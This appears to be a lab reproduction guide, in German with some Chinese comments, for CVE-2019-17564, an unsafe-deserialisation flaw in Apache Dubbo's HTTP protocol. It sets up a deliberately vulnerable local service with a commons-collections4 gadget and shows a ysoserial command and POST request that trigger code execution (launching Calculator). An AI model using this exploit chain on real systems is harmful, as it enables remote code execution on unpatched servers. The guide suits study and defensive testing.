
CVE-2019-17564:Apache Dubbo Deserialisierungssicherheitslücke
Apache Dubbo ist ein leistungsstarkes, leichtgewichtiges Open-Source-Java-RPC-Framework, das drei Kernfunktionen bietet: auf Schnittstellen ausgerichtete entfernte Methodenaufrufe, intelligente Fehlertoleranz und Lastausgleich sowie automatische Service-Registrierung und -Erkennung.
Apache Dubbo unterstützt mehrere Protokolle, offiziell wird das Dubbo-Protokoll empfohlen. Eine Deserialisierungssicherheitslücke (CVE-2019-17564) im HTTP-Protokoll von Apache Dubbo wird hauptsächlich dadurch verursacht, dass Apache Dubbo nach der Aktivierung des HTTP-Protokolls den Nachrichteninhalt unsachgemäß verarbeitet, was zu unsicherer Deserialisierung führt. Wenn im Projektpaket nutzbare Gadgets vorhanden sind, kann dies zu Remote-Code-Ausführung führen.
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# 将conf目录下的zoo_sample.cfg改名为zoo.cfg
mv zoo_sample.cfg zoo.cfg
# 进入bin目录启动zookeeper
./zkServer.sh start

git clone https://github.com/apache/dubbo-samples
# 进入到dubbo-samples-http目录中,修改pom.xml
vim pom.xml
Ändern Sie die Dubbo-Version auf eine anfällige Version
Fügen Sie eine Abhängigkeit hinzu, um ein nutzbares Gadget zu importieren; hier wird commons-collections4-4.0 importiert
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

payload
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
paylaod
Hier wird ysoserial verwendet, um das Payload zu generieren
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
Senden des Pakets mit Burp Suite
